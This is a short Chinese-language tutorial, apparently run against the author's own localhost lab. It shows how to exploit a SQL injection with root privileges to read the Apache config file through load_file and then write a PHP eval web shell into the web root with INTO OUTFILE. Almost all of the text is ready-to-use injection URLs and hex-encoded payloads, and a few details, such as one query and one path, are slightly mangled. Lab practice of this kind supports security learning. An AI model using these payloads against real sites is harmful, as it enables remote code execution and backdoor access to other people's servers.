首先我们的找到一个有注入的站:这里我用自己搭建的环境表示;大家不要乱来
http://localhost/pentest/sql/sql_injection_get.php?id=1
发现是root权限,我们尝试直接写马
首先要找到网站的主目录:
数据库目录:D:wampinmysqlmysql5.5.20data
进行判断,服务器可能为wampserver简易版,httpd.conf文件在D:/wamp/bin/apache/Apache2.2.21/conf/httpd.conf
http://localhost/pentest/sql/sql_injection_get.php?id=1' and 1=2 union select 1,2,3 load_file('D:/wamp/bin/apache/Apache2.2.21/conf/httpd.conf') from user--+
如果这样不成功,建议将目录转换为hex编码进行:即 load_file(0x443A5C77616D705C62696E5C6170616368655C417061636865322E322E32315C636F6E665C68747470642E636F6E66)
找到了网站目录:D:/wamp/www
我们尝试写:
http://localhost/pentest/sql/sql_injection_get.php?id=1' and 1=2 union select 1,2,0x3C3F706870206576616C28245F504F53545B27636D64275D293B3F3E into outfile 'D:/wamp/www/xx.php' from user --+
<?php eval($_POST['cmd']);?>的hex编码:0x3C3F706870206576616C28245F504F53545B27636D64275D293B3F3E
然后访问:http://localhost/xx.php